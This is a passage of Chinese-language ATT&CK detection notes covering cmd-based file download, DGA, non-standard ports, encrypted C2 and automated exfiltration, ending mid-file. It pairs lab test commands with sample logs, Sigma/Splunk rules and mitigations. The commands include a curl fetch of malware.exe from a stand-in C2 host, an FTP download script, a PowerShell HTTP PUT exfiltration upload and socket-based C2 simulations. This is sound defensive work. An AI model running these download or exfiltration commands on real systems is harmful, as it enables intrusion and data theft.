Where-Object { $_.Id -eq 1 -and $_.Message -match "cmdl32.exe" } ``` - 检查网络连接: ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 3 -and $_.Message -match "cmdl32.exe" } ``` 6. **补丁管理** - 确保系统安装最新补丁,防止相关漏洞被利用。 ## 参考推荐 - MITRE ATT&CK: T1105 - T00ls: Cmdl32代替Certutil ================================================ FILE: Windows/12命令与控制/T1105-win-命令提示符网络链接.md ================================================ # T1105-Win-命令提示符网络链接 ## 描述 攻击者利用命令提示符(`cmd.exe`)从外部系统下载工具或恶意文件到被攻陷环境(T1105),以实现工具部署、持久化或进一步攻击。`cmd.exe`作为Windows内置工具,常被滥用通过命令与控制(C2)通道或替代协议(如HTTP、FTP)下载文件。由于其合法性,`cmd.exe`的网络活动易被忽略,增加检测难度。常见场景包括使用`cmd.exe`调用`curl`、`bitsadmin`或`ftp`等工具从远程URL下载恶意软件,或直接执行远程脚本。 检测重点在于识别`cmd.exe`发起的异常网络连接(尤其指向公网IP)、命令行参数及相关子进程行为。 ## 测试案例 1. **HTTP文件下载** 使用`cmd.exe`通过`curl`从远程URL下载恶意文件。 2. **FTP文件下载** 使用`cmd.exe`调用`ftp.exe`从外部FTP服务器获取文件。 3. **远程脚本执行** 使用`cmd.exe`执行远程PowerShell脚本,模拟C2通信。 ### 示例命令 - **HTTP下载**(需用户权限): ```cmd curl -o test.exe http://c2.example.com/malware.exe ``` - **FTP下载**: ```cmd echo open ftp.example.com> ftp.txt echo user ftpuser password>> ftp.txt echo get malware.exe>> ftp.txt echo quit>> ftp.txt ftp -s:ftp.txt ``` - **清理**: ```cmd del test.exe del ftp.txt del malware.exe ``` ## 检测日志 **Windows安全日志** - **事件ID 5156**:记录`cmd.exe`的网络连接(Windows Filtering Platform)。 - **事件ID 4688**:记录`cmd.exe`或其子进程(如`curl.exe`、`ftp.exe`)创建及命令行参数。 **Sysmon日志** - **事件ID 1**:记录`cmd.exe`及其子进程创建,捕获命令行参数。 - **事件ID 3**:记录网络连接,捕获`cmd.exe`的出站流量(目标IP/端口)。 - **事件ID 11**:记录临时文件(如`ftp.txt`)创建。 **PowerShell日志** - **事件ID 4104**:记录`cmd.exe`调用的PowerShell脚本执行。 **网络日志** - 捕获`cmd.exe`发起的HTTP、FTP或其他协议流量。 **配置日志记录** - 启用命令行参数记录:`计算机配置 > 管理模板 > 系统 > 审核进程创建 > 在进程创建事件中加入命令行 > 启用`。 - 启用PowerShell日志:`计算机配置 > 管理模板 > Windows组件 > Windows PowerShell > 启用模块日志和脚本块日志记录`。 - 配置Sysmon监控`cmd.exe`及网络连接: ```xml cmd.exe ``` - 配置IDS/IPS记录HTTP/FTP流量。 ## 测试复现 ### 环境准备 - **靶机**:Windows 10/11或Windows Server 2016/2022。 - **权限**:用户权限(网络操作无需管理员)。 - **工具**:`cmd.exe`、`curl.exe`、`ftp.exe`(系统自带)、Sysmon、Wireshark、测试服务器(如`c2.example.com`)。 - **网络**:可控网络环境,允许HTTP/FTP出站流量。 - **日志**:启用Windows安全日志、Sysmon日志、PowerShell日志,配置网络监控。 ### 攻击步骤 1. **HTTP文件下载** ```cmd curl -o test.exe http://127.0.0.1:8000/test.exe ``` 2. **FTP文件下载** ```cmd echo open 127.0.0.1> ftp.txt echo user ftpuser password>> ftp.txt echo get test.exe>> ftp.txt echo quit>> ftp.txt ftp -s:ftp.txt ``` 3. **验证结果** - 检查Sysmon日志(网络连接): ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 3 -and $_.Message -match "cmd.exe|curl.exe|ftp.exe" } ``` - 检查Windows安全日志: ```powershell Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 5156 -and $_.Message -match "cmd.exe" } ``` - 检查进程创建: ```powershell Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 4688 -and $_.Message -match "cmd.exe|curl.exe|ftp.exe" } ``` - 检查Netflow(Wireshark过滤`http`或`tcp.port == 21`)。 4. **清理** ```cmd del test.exe del ftp.txt ``` ### 示例输出 ```cmd curl -o test.exe http://127.0.0.1:8000/test.exe % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 1024 100 1024 0 0 1024 0 0:00:01 0:00:01 --:--:-- 1024 ``` ```cmd ftp -s:ftp.txt Connected to 127.0.0.1. 220 FTP Server ready. User: ftpuser 331 Password required for ftpuser. Password: password 230 User ftpuser logged in. ftp> get test.exe 200 PORT command successful. 226 Transfer complete. ftp> quit 221 Goodbye. ``` **注意**:测试需在合法授权环境进行,替换`c2.example.com`为测试服务器。 ## 日志解析 - **Windows安全日志(事件ID 5156,网络连接)**: ```plaintext EventID: 5156 Application Information: Process ID: 1752 Application Name: \device\harddiskvolume1\windows\system32\cmd.exe Network Information: Direction: Outbound Source Address: 192.168.1.100 Source Port: 50146 Destination Address: 127.0.0.1 Destination Port: 8000 Protocol: 6 (TCP) Filter Information: Filter Run-Time ID: 5 Layer Name: Connect Layer Run-Time ID: 44 ``` - **Windows安全日志(事件ID 4688,进程创建)**: ```plaintext EventID: 4688 Subject: Security ID: CONTOSO\User Account Name: User Account Domain: CONTOSO Logon ID: 0x123456 Process Information: New Process ID: 0x1f38 New Process Name: C:\Windows\System32\curl.exe Token Elevation Type: TokenElevationTypeLimited (3) Mandatory Label: Mandatory Label\Medium Mandatory Level Creator Process ID: 0x2a1c Creator Process Name: C:\Windows\System32\cmd.exe Process Command Line: curl -o test.exe http://127.0.0.1:8000/test.exe ``` - **Sysmon日志(事件ID 1,进程创建)**: ```plaintext EventID: 1 UtcTime: 2025-06-10 03:10:00.123 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab} ProcessId: 7944 Image: C:\Windows\System32\curl.exe CommandLine: curl -o test.exe http://127.0.0.1:8000/test.exe ParentImage: C:\Windows\System32\cmd.exe User: CONTOSO\User IntegrityLevel: Medium ``` - **Sysmon日志(事件ID 3,网络连接)**: ```plaintext EventID: 3 UtcTime: 2025-06-10 03:10:00.234 ProcessGuid: {12345678-abcd-1234-abcd-1234567890ab} Image: C:\Windows\System32\curl.exe DestinationIp: 127.0.0.1 DestinationPort: 8000 Protocol: tcp User: CONTOSO\User ``` ## 检测规则/思路 **检测规则** 通过监控`cmd.exe`的网络连接、命令行参数及子进程行为,检测恶意文件下载或C2通信。以下是具体思路: 1. **日志分析**: - 监控Windows安全日志事件ID 5156,检测`cmd.exe`的出站网络连接(尤其指向公网IP)。 - 监控Windows安全日志事件ID 4688,检测`cmd.exe`及其子进程(如`curl.exe`、`ftp.exe`)的命令行。 - 监控Sysmon事件ID 1,检测`cmd.exe`调用的子进程及命令行参数。 - 监控Sysmon事件ID 3,检测`cmd.exe`或子进程的HTTP/FTP连接。 - 监控Sysmon事件ID 11,检测临时文件(如`ftp.txt`)创建。 - 检查Netflow,检测`cmd.exe`发起的异常HTTP/FTP流量。 2. **Sigma规则(Cmd网络连接)**: ```yaml title: 命令提示符网络连接检测 id: i34567890-abcd-1234-5678-90123456stuv status: stable description: 检测cmd.exe发起的异常网络连接,可能用于文件下载或C2通信 references: - https://attack.mitre.org/techniques/T1105/ - https://www.elastic.co/guide/en/siem/guide/current/command-prompt-network-connection.html tags: - attack.command_and_control - attack.t1105 logsource: product: windows service: security detection: selection1: EventID: 5156 Application|endswith: '\cmd.exe' selection2: DestinationAddress: - 10.0.0.0/8 - 172.16.0.0/12 - 192.168.0.0/16 condition: selection1 and not selection2 fields: - Application - DestinationAddress - DestinationPort - User falsepositives: - 合法网络工具使用 - 管理员调试 level: medium ``` 3. **Sigma规则(Cmd子进程下载)**: ```yaml title: Cmd子进程文件下载检测 id: j45678901-abcd-2345-6789-01234567vwxy status: experimental description: 检测cmd.exe调用的子进程(如curl.exe、ftp.exe)执行文件下载 logsource: product: windows service: sysmon detection: selection: EventID: 1 ParentImage|endswith: '\cmd.exe' Image|endswith: - '\curl.exe' - '\ftp.exe' - '\bitsadmin.exe' CommandLine|contains: - 'http://' - 'ftp://' condition: selection fields: - Image - CommandLine - ParentImage - User falsepositives: - 合法文件下载 - 管理员操作 level: high ``` 4. **Elastic Rule Query**: ```kql process.name:cmd.exe and event.action:"Network connection detected (rule: NetworkConnect)" and not destination.ip:(10.0.0.0/8 or 172.16.0.0/12 or 192.168.0.0/16) ``` 5. **SIEM规则**: - 检测`cmd.exe`网络活动。 - 示例Splunk查询: ```spl (source="WinEventLog:Security" EventCode=5156 Application="*cmd.exe" NOT destination_ip IN ("10.0.0.0/8","172.16.0.0/12","192.168.0.0/16")) OR (source="WinEventLog:Microsoft-Windows-Sysmon/Operational" EventID=1 ParentImage="*cmd.exe" Image IN ("*curl.exe","*ftp.exe","*bitsadmin.exe") CommandLine IN ("*http://*","*ftp://*")) | stats count by Image, CommandLine, DestinationIp, DestinationPort, User, ComputerName ``` 6. **网络流量分析**: - 检查`cmd.exe`的HTTP/FTP流量: ```bash tshark -f "tcp port 80 or 21" -Y "http.request or ftp" ``` - 使用IDS规则检测异常流量: ```snort alert tcp $HOME_NET any -> $EXTERNAL_NET 80,21 (msg:"Suspicious Cmd Network Traffic"; content:"cmd.exe"; sid:1000010;) ``` 7. **工具支持**: - 使用Wireshark分析`cmd.exe`的网络流量。 - 使用Sysinternals Process Monitor捕获`cmd.exe`的子进程和文件活动。 - 使用EDR工具(如CrowdStrike、Carbon Black)监控`cmd.exe`行为。 8. **威胁情报整合**: - 检查目标IP/URL是否与已知C2或恶意服务器匹配,结合威胁情报平台(如VirusTotal、AlienVault)。 ## 建议 ### 缓解措施 防御`cmd.exe`网络链接需从工具限制、网络监控和行为检测入手: 1. **限制Cmd执行** - 使用AppLocker限制`cmd.exe`: ```powershell New-AppLockerPolicy -RuleType Path -Path "%SystemRoot%\System32\cmd.exe" -Action Deny -User "Everyone" ``` 2. **限制网络访问** - 配置防火墙阻止`cmd.exe`出站流量: ```powershell New-NetFirewallRule -DisplayName "Block Cmd Network" -Direction Outbound -Action Block -Program "%SystemRoot%\System32\cmd.exe" -Protocol TCP -RemotePort 80,21 ``` 3. **监控子进程** - 配置Sysmon监控`cmd.exe`子进程: ```xml cmd.exe ``` 4. **加强日志监控** - 启用Sysmon事件ID 1、3、11和Windows事件ID 5156、4688,检测`cmd.exe`行为。 - 配置SIEM实时告警`cmd.exe`的公网连接或可疑子进程。 - 使用EDR工具监控白名单程序滥用。 5. **定期审计** - 检查`cmd.exe`网络连接: ```powershell Get-WinEvent -LogName Security | Where-Object { $_.Id -eq 5156 -and $_.Message -match "cmd.exe" } ``` - 检查子进程: ```powershell Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" | Where-Object { $_.Id -eq 1 -and $_.Message -match "cmd.exe" } ``` 6. **补丁管理** - 确保系统安装最新补丁,防止相关漏洞被利用。 ## 参考推荐 - MITRE ATT&CK: T1105 - Elastic: Command Prompt Network Connection - SecPulse: Cmd上传文件技巧 ================================================ FILE: Windows/12命令与控制/T1568.002-动态解析-域名生成算法(DGA).md ================================================ # T1568.002-动态解析-域名生成算法(DGA) ## 描述 攻击者可能使用域名生成算法(DGA,Domain Generation Algorithm)以程序化方式生成大量域名,用于命令和控制(C2)通信、恶意软件分发或其他恶意目的。DGA通过动态生成域名,增加防御者阻止、跟踪或接管C2通道的难度。恶意软件可利用DGA生成的域名与攻击者控制的服务器通信,当主要C2服务器不可用时,DGA可作为备用通道以重新建立联系。 DGA生成的域名通常呈现以下形式: - **随机字符串型**:通过逐字母生成,域名看似“乱码”(如`istgmxdejdnxuyla.ru`)。 - **单词拼接型**:将单词拼接形成域名(如`cityjulydish.net`)。 - **基于时间/种子**:许多DGA基于时间(每小时、每天、每月等)或种子值生成域名,增加预测难度。 攻击者利用DGA的动态特性,使防御者难以通过静态黑名单或域名阻断进行防御。 ## 测试案例 ### 用例 - **C2通信**:恶意软件通过DGA生成域名,尝试连接攻击者控制的C2服务器。 - **备用通道**:当主要C2服务器被阻断时,恶意软件使用DGA生成新域名重新建立联系。 - **恶意文件分发**:通过DGA域名分发恶意可执行文件或脚本。 ### 示例场景 - 恶意软件(如Emotet、Conficker)运行DGA算法,每天生成数百个域名,尝试解析并连接其中一个有效C2服务器。 - 示例DGA域名:`xz7kpmq2v8n.ru`(随机字符串型)或`bluecloudriver.com`(单词拼接型)。 ### 所需权限 - 用户权限(恶意软件执行环境)。 ### 操作系统 - Windows、Linux、macOS(DGA技术与平台无关)。 ## 检测日志 ### 网络日志 - **DNS查询日志**:捕获高频率、异常DNS查询,尤其是解析到非知名或新注册域名的查询。 - **HTTP/HTTPS流量**:检测与DGA域名相关的网络连接请求。 ### 系统日志 - **进程活动**:通过Sysmon或其他EDR工具监控恶意软件进程发起的DNS查询。 - **文件操作**:检测恶意软件生成或访问DGA相关配置文件。 ### EDR日志 - EDR工具(如Microsoft Defender for Endpoint、CrowdStrike)可能记录与DGA域名相关的异常网络活动或进程行为。 ## 测试复现 ### 环境准备 - **靶机**:Windows 10/11或其他支持网络活动的系统。 - **工具**: - DGA模拟工具(如开源DGA生成器或恶意软件样本,如Emotet、Conficker)。 - Wireshark(捕获DNS和网络流量)。 - Sysmon(监控进程和DNS查询)。 - 测试DNS服务器(用于模拟DGA域名解析)。 - **网络**:隔离网络环境,允许DNS查询和HTTP/HTTPS流量。 - **日志**:启用DNS日志、Sysmon日志和EDR监控。 ### 攻击步骤 1. **运行DGA模拟工具**: - 使用开源DGA生成器(如Python脚本)生成一系列测试域名: ```python from datetime import datetime def simple_dga(seed, date): domains = [] for i in range(10): domain = f"test{i}{date.day}{seed}.com" domains.append(domain) return domains print(simple_dga("xyz", datetime.now())) # 输出示例:['test0xyz.com', 'test1xyz.com', ...] ``` 2. **发起DNS查询**: - 配置恶意软件或模拟脚本,循环解析生成的DGA域名,尝试连接C2服务器。 3. **验证结果**: - 使用Wireshark捕获DNS查询流量,检查是否包含大量异常域名。 - 检查Sysmon日志,确认进程发起的DNS请求。 4. **清理**: - 停止模拟工具,删除生成的测试文件。 ## 测试留痕 以下为DNS查询日志示例(通过Wireshark或DNS服务器日志捕获): ```log Timestamp: 2025-06-08 12:51:23 Query: xz7kpmq2v8n.ru Type: A Source IP: 192.168.1.100 Destination: 8.8.8.8 (DNS Server) Response: NXDOMAIN or IP address of C2 server ``` 以下为Sysmon日志示例(事件ID 22,DNS查询): ```yml EventID: 22 UtcTime: 2025-06-08 12:51:23.456 ProcessGuid: {12345678-9abc-def0-1234-56789abcdef0} ProcessId: 1234 Image: C:\Program Files\Malware\malware.exe QueryName: xz7kpmq2v8n.ru QueryStatus: Success QueryResults: 192.168.1.200 ``` ## 检测方法/思路 ### Sigma规则 基于Sigma规则,检测DGA域名的异常DNS查询行为: ```yml title: Suspicious DGA Domain Activity id: d4e7f8c2-3a4b-5c6d-9e8f-1a2b3c4d5e6f status: experimental description: Detects potential DGA domain activity based on high-frequency or suspicious DNS queries references: - https://attack.mitre.org/techniques/T1568/002 logsource: product: windows category: dns_query detection: selection: EventID: 22 # Sysmon DNS query event QueryName|contains: - '.ru' # 示例:常见DGA域名后缀 - '.xyz' - '.top' QueryName|not_contains: - 'microsoft.com' # 白名单排除 - 'google.com' condition: selection falsepositives: - Legitimate high-frequency DNS queries (e.g., CDN domains) - Misconfigured applications level: medium ``` ### 检测思路 1. **DNS查询分析**: - 监控高频率DNS查询,尤其是解析到非知名或新注册域名的查询。 - 使用频率分析、熵计算或N-Gram方法检测随机字符串型域名(如高熵值)。 - 检查单词拼接型域名(如`cityjulydish.net`)的比例或异常模式。 2. **机器学习方法**: - 部署基于N-Gram或深度学习的DGA检测模型,计算域名随机性得分,识别潜在DGA域名。 - 示例:高熵域名(如`xz7kpmq2v8n.ru`)触发告警。 3. **网络流量监控**: - 检测与DGA域名的HTTP/HTTPS连接,重点关注NXDOMAIN响应或连接到可疑IP。 4. **进程关联**: - 结合Sysmon事件ID 22(DNS查询)和1(进程创建),关联发起DGA查询的进程。 5. **白名单过滤**: - 维护CDN和合法域名的白名单,减少误报(如`akamai.net`、 `cloudflare.com`)。 ### 检测建议 - **DNS日志分析**:配置DNS服务器或网络设备记录所有DNS查询,使用SIEM系统(如Splunk、Elastic)分析异常模式。 - **机器学习模型**:部署DGA检测模型(如基于LSTM或随机森林),训练识别随机字符串或异常域名。 - **威胁情报集成**:结合威胁情报,检查新注册域名或已知恶意域名。 - **告警优化**:设置阈值(如短时间内高频NXDOMAIN响应)触发告警,降低误报率。 ## 缓解措施 1. **DNS过滤**: - 部署DNS防火墙(如Cisco Umbrella)或基于威胁情报的DNS解析服务,阻止已知DGA域名。 2. **网络分段**: - 限制内部主机直接发起外部DNS查询,强制使用内部DNS服务器。 3. **行为监控**: - 使用EDR工具监控异常DNS查询和相关进程行为。 4. **白名单策略**: - 限制系统仅解析受信任域名,阻止未知或新注册域名的解析。 5. **定期更新防御**: - 更新防病毒和EDR签名库,结合DGA检测算法,应对新型DGA变种。 ## 参考推荐 - MITRE ATT&CK T1568.002 https://attack.mitre.org/techniques/T1568/002 ================================================ FILE: Windows/12命令与控制/T1571-非标准端口.md ================================================ # T1571-非标准端口 ## 描述 攻击者可能通过非标准端口进行通信,以绕过网络过滤或混淆网络流量分析。例如,使用HTTP/HTTPS协议通过8088或587端口,而非传统的80或443端口。攻击者通过修改协议与端口的常规关联,增加防御者检测和阻止恶意通信的难度。这种技术常用于命令和控制(C2)通道、数据泄露或其他恶意活动。 ## 测试案例 ### 用例 - **C2通信**:攻击者在非标准端口(如8088)上运行HTTPS服务器,恶意软件通过该端口与C2服务器通信。 - **数据泄露**:使用非标准端口(如2525)通过SMTP协议发送窃取的数据。 - **协议混淆**:在高端口(如50000)上运行伪装的HTTP流量,规避基于端口的防火墙规则。 ### 示例场景 - 恶意软件通过TCP 8088端口发起HTTPS请求,连接到攻击者控制的C2服务器。 - 攻击者使用TCP 2525端口通过SMTP协议传输敏感数据。 ### 所需权限 - 用户权限(恶意软件执行环境)。 ### 操作系统 - Windows、Linux、macOS(与平台无关)。 ## 检测日志 ### Netflow日志 - 捕获异常端口的流量(如TCP 8088上的HTTPS或TCP 2525上的SMTP)。 - 记录源IP、目标IP、端口号、协议和流量大小。 ### Sysmon日志 - **事件ID 3**:记录异常网络连接,捕获非标准端口的流量。 - **事件ID 1**:捕获发起异常连接的进程信息。 ### EDR日志 - EDR工具(如Microsoft Defender for Endpoint、CrowdStrike)记录异常端口的网络活动或进程行为。 ### 防火墙日志 - 检测非标准端口的出站或入站流量。 ## 测试复现 ### 环境准备 - **靶机**:Windows 10/11或Linux。 - **权限**:用户权限。 - **工具**: - Netcat或Python脚本(模拟非标准端口通信)。 - Wireshark(捕获网络流量)。 - Sysmon(监控进程和网络活动)。 - 测试服务器(运行在非标准端口,如8088)。 - **网络**:隔离网络环境,允许非标准端口流量。 - **日志**:启用Netflow、Sysmon和防火墙日志。 ### 攻击步骤 1. **设置测试服务器**: - 在测试服务器上运行HTTP服务,监听非标准端口(如8088): ```bash python3 -m http.server 8088 ``` 2. **客户端发起请求**: - 从靶机使用`curl`或`netcat`连接非标准端口: ```bash curl http://:8088 ``` 或 ```bash nc 8088 ``` 3. **验证结果**: - 使用Wireshark捕获TCP 8088端口的流量,确认通信内容。 - 检查Sysmon日志,验证发起连接的进程和端口。 4. **清理**: - 停止测试服务器,删除临时文件。 ## 测试留痕 以下为Netflow日志示例: ```log Timestamp: 2025-06-08 12:53:45 Source IP: 192.168.1.100 Destination IP: 192.168.1.200 Source Port: 49152 Destination Port: 8088 Protocol: TCP Bytes Sent: 1024 Bytes Received: 512 ``` 以下为Sysmon日志示例(事件ID 3): ```yml EventID: 3 UtcTime: 2025-06-08 12:53:45.123 ProcessGuid: {12345678-9abc-def0-1234-56789abcdef0} ProcessId: 1234 Image: C:\Windows\System32\curl.exe SourceIp: 192.168.1.100 SourcePort: 49152 DestinationIp: 192.168.1.200 DestinationPort: 8088 Protocol: tcp ``` ## 检测方法/思路 ### Sigma规则 基于Sigma规则,检测非标准端口的异常网络活动: ```yml title: Suspicious Non-Standard Port Activity id: f3a2b9c7-4e5f-4d8a-9c7e-2b3c4d5e6f7a status: experimental description: Detects network connections using non-standard ports for common protocols references: - https://attack.mitre.org/techniques/T1571 - https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1571/T1571.md logsource: product: windows category: network_connection detection: selection: EventID: 3 # Sysmon network connection DestinationPort|notin: - 80 # HTTP - 443 # HTTPS - 25 # SMTP - 53 # DNS Protocol: tcp Image|endswith: - '\curl.exe' - '\net.exe' - '\powershell.exe' condition: selection falsepositives: - Legitimate applications using non-standard ports - Custom internal services level: medium ``` ### 检测思路 1. **端口监控**: - 检测常见协议(如HTTP、HTTPS、SMTP)使用非标准端口(如8088、2525)。 - 重点关注高端口(如>1024)上的异常流量。 2. **数据流分析**: - 分析数据包内容,检测协议与端口不匹配的行为(如TCP 8088上的HTTPS流量)。 - 检查异常流量模式(如客户端发送数据量明显大于接收数据量)。 3. **进程关联**: - 监控发起非标准端口连接的进程,检测通常无网络活动的进程(如`notepad.exe`)。 4. **行为基线**: - 建立组织内正常端口使用的基线,识别偏离基线的异常连接。 5. **威胁情报**: - 结合威胁情报,检测连接到已知恶意IP或域名的非标准端口流量。 ### 检测建议 - **Netflow分析**:使用SIEM系统(如Splunk、Elastic)分析Netflow数据,检测非标准端口的异常流量。 - **协议检查**:部署深度包检测(DPI)工具,验证端口与协议的一致性。 - **EDR监控**:使用EDR工具(如Microsoft Defender for Endpoint)监控异常进程的网络活动。 - **防火墙规则**:配置防火墙,限制非标准端口的出站流量,允许白名单端口。 ## 缓解措施 1. **端口限制**: - 配置防火墙,仅允许标准端口(如80、443)用于HTTP/HTTPS流量。 2. **深度包检测**: - 部署IDS/IPS,检测协议与端口不匹配的流量。 3. **网络分段**: - 限制内部主机直接访问外部非标准端口,强制通过代理服务器。 4. **行为监控**: - 使用EDR工具监控异常进程的网络连接行为。 5. **白名单策略**: - 建立合法端口和协议的白名单,阻止未授权的非标准端口通信。 ## 参考推荐 - MITRE ATT&CK T1571 https://attack.mitre.org/techniques/T1571 - Atomic-red-team T1571 https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1571/T1571.md ================================================ FILE: Windows/12命令与控制/T1573-标准加密协议.md ================================================ # T1573-标准加密协议 ## 描述 攻击者可能使用标准加密协议(如SSL/TLS、SSH或IPSec)或已知的加密算法(如AES、RSA)来隐藏命令和控制(C2)流量,以规避网络检测。这些协议通常用于合法通信,因此难以与正常流量区分。然而,如果加密密钥在恶意软件样本、配置文件或通信中以明文形式存储或通过可预测的方式生成,攻击者的加密流量可能通过逆向工程或密钥提取被破解,从而暴露C2通信内容。 ## 测试案例 ### 用例 - **C2通信**:恶意软件使用TLS加密通过HTTPS协议与C2服务器通信。 - **数据泄露**:攻击者通过SSH隧道传输窃取的数据。 - **自定义加密**:恶意软件使用AES加密C2流量,密钥硬编码在样本中。 ### 示例场景 - 恶意软件通过TLS加密连接到攻击者控制的服务器(端口443),发送命令和接收指令。 - 攻击者使用硬编码的AES密钥加密C2通信,密钥可通过逆向工程提取。 ### 所需权限 - 用户权限(恶意软件执行环境)。 ### 操作系统 - Windows、Linux、macOS(与平台无关)。 ## 检测日志 ### 网络日志 - **TLS/SSL流量**:捕获HTTPS流量(端口443)或非标准端口上的TLS加密通信。 - **SSH流量**:记录SSH连接(端口22或非标准端口)。 - **IPSec流量**:监控VPN或IPSec隧道的异常使用。 ### Sysmon日志 - **事件ID 3**:记录加密协议的网络连接,捕获源/目标IP、端口和协议。 - **事件ID 1**:捕获发起加密通信的进程信息。 ### EDR日志 - EDR工具(如Microsoft Defender for Endpoint、CrowdStrike)记录异常加密流量或进程行为。 ### 恶意软件分析日志 - 逆向工程日志:提取恶意软件样本中的硬编码密钥或加密算法配置。 ## 测试复现 ### 环境准备 - **靶机**:Windows 10/11或Linux。 - **权限**:用户权限。 - **工具**: - OpenSSL或Python脚本(模拟TLS/AES加密通信)。 - Wireshark(捕获加密流量)。 - Sysmon(监控进程和网络活动)。 - 测试C2服务器(支持TLS或自定义加密)。 - **网络**:隔离网络环境,允许加密协议流量(如TLS、SSH)。 - **日志**:启用网络日志、Sysmon日志和EDR监控。 ### 攻击步骤 1. **设置测试服务器**: - 配置TLS服务器(使用自签名证书): ```bash openssl s_server -key key.pem -cert cert.pem -accept 8443 ``` - 或使用Python模拟AES加密C2通信: ```python from Crypto.Cipher import AES import socket key = b'Sixteen byte key' cipher = AES.new(key, AES.MODE_ECB) server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) server.bind(('0.0.0.0', 8443)) server.listen(1) conn, addr = server.accept() data = cipher.encrypt(b'Test C2 Command ') conn.send(data) conn.close() ``` 2. **客户端发起加密通信**: - 使用`curl`连接TLS服务器: ```bash curl https://:8443 --insecure ``` - 或使用Python客户端解密AES数据: ```python from Crypto.Cipher import AES import socket key = b'Sixteen byte key' cipher = AES.new(key, AES.MODE_ECB) client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) client.connect(('', 8443)) data = client.recv(1024) print(cipher.decrypt(data)) client.close() ``` 3. **验证结果**: - 使用Wireshark捕获TLS或加密流量,确认加密协议和端口。 - 检查Sysmon日志,验证发起连接的进程。 4. **清理**: - 停止测试服务器,删除临时文件和证书。 ## 测试留痕 以下为网络日志示例(Wireshark捕获): ```log Timestamp: 2025-06-08 12:55:23 Source IP: 192.168.1.100 Destination IP: 192.168.1.200 Source Port: 49152 Destination Port: 8443 Protocol: TCP/TLS Info: TLSv1.3 Handshake ``` 以下为Sysmon日志示例(事件ID 3): ```yml EventID: 3 UtcTime: 2025-06-08 12:55:23.456 ProcessGuid: {12345678-9abc-def0-1234-56789abcdef0} ProcessId: 1234 Image: C:\Program Files\Python39\python.exe SourceIp: 192.168.1.100 SourcePort: 49152 DestinationIp: 192.168.1.200 DestinationPort: 8443 Protocol: tcp ``` ## 检测方法/思路 ### Sigma规则 基于Sigma规则,检测异常加密协议通信: ```yml title: Suspicious Encrypted Channel Activity id: c7b8d9e0-4f5a-4e6b-9d8c-3a4b5c6d7e8f status: experimental description: Detects suspicious use of encrypted protocols for potential C2 communication references: - https://attack.mitre.org/techniques/T1573 logsource: product: windows category: network_connection detection: selection: EventID: 3 # Sysmon network connection DestinationPort: - 8443 # Non-standard TLS port - 22 # SSH Protocol: tcp Image|notin: - 'C:\Program Files*\Google\Chrome\Application\chrome.exe' - 'C:\Program Files*\Mozilla Firefox\firefox.exe' condition: selection falsepositives: - Legitimate applications using encrypted protocols - Custom internal services level: medium ``` ### 检测思路 1. **流量分析**: - 监控TLS/SSL、SSH或IPSec流量,重点关注非标准端口(如8443)或异常流量模式。 - 检查加密流量是否连接到可疑IP或新注册域名。 2. **密钥提取**: - 逆向分析恶意软件样本,提取硬编码的加密密钥或算法配置。 - 检查配置文件或内存转储中的明文密钥。 3. **进程监控**: - 检测发起加密通信的异常进程(如非浏览器进程发起TLS流量)。 - 使用Sysmon事件ID 1关联进程与网络活动。 4. **行为基线**: - 建立组织内正常加密流量的基线,识别偏离基线的异常连接。 5. **威胁情报**: - 结合威胁情报,检测连接到已知C2服务器的加密流量。 ### 检测建议 - **深度包检测(DPI)**:部署IDS/IPS(如Snort、Suricata),分析加密流量的元数据(不解密内容)。 - **EDR监控**:使用EDR工具(如Microsoft Defender for Endpoint)检测异常进程的加密通信。 - **逆向工程**:分析可疑样本,提取加密算法和密钥。 - **DNS分析**:监控与加密流量相关的DNS查询,检测可疑域名。 ## 缓解措施 1. **网络分段**: - 限制内部主机直接发起外部加密通信,强制通过代理服务器。 2. **流量监控**: - 部署TLS拦截代理(需合法授权),检查加密流量的目标和证书。 3. **白名单策略**: - 限制系统仅连接受信任的加密服务器,阻止未知IP或域名的通信。 4. **进程限制**: - 使用应用白名单工具(如AppLocker)限制非授权进程发起加密通信。 5. **威胁情报**: - 定期更新C2服务器和恶意域名的黑名单。 ## 参考推荐 - MITRE ATT&CK T1573 https://attack.mitre.org/techniques/T1573 ================================================ FILE: Windows/13数据外泄/T1020-Win-自动渗出.md ================================================ # T1020-Win-自动渗出 ## 描述 攻击者通过自动化脚本或工具(如PowerShell、批处理脚本)在数据收集后将敏感信息(如文件、凭据)从目标系统传输到外部网络(T1020)。自动渗出通常结合其他技术(如通过C2通道或替代协议)以高效、隐蔽地转移数据。攻击者可能使用HTTP、HTTPS、FTP或DNS等协议,通过合法流量掩盖数据外传行为。常见场景包括恶意软件(如IcedID Botnet)通过HTTP PUT/POST请求上传窃取的文件,或勒索软件在加密前将数据渗出。 自动化渗出的隐蔽性在于其可通过脚本批量处理文件,减少手动操作痕迹。检测重点在于监控异常网络流量、文件访问模式及脚本执行行为,尤其是在PowerShell或命令行工具(如`curl`、`Invoke-WebRequest`)发起的网络请求。 ## 测试案例 1. **IcedID Botnet HTTP PUT模拟** 使用PowerShell通过HTTP PUT方法上传测试文件到外部服务器,模拟恶意软件渗出行为。 2. **批量文件渗出** 使用脚本遍历目录,上传敏感文件(如`.txt`、`.docx`)到远程服务器。 3. **通过C2通道渗出** 使用自定义脚本通过HTTPS POST请求将数据发送到攻击者控制的服务器。 ### 示例命令 #### IcedID Botnet HTTP PUT - **创建并上传文件**(需替换有效的`$url`): ```powershell $fileName = "C:\Temp\test.txt" $url = "https://example.com/upload" $file = New-Item -Force $fileName -Value "This is ART IcedID Botnet Exfil Test" $contentType = "application/octet-stream" try { Invoke-WebRequest -Uri $url -Method Put -ContentType $contentType -InFile $fileName } catch {} ``` - **清理文件**: ```powershell Remove-Item -Path $fileName -ErrorAction Ignore ``` ## 检测日志 **Windows PowerShell日志** - **事件ID 4104**:记录PowerShell脚本块执行,捕获`Invoke-WebRequest`等命令。 - **事件ID 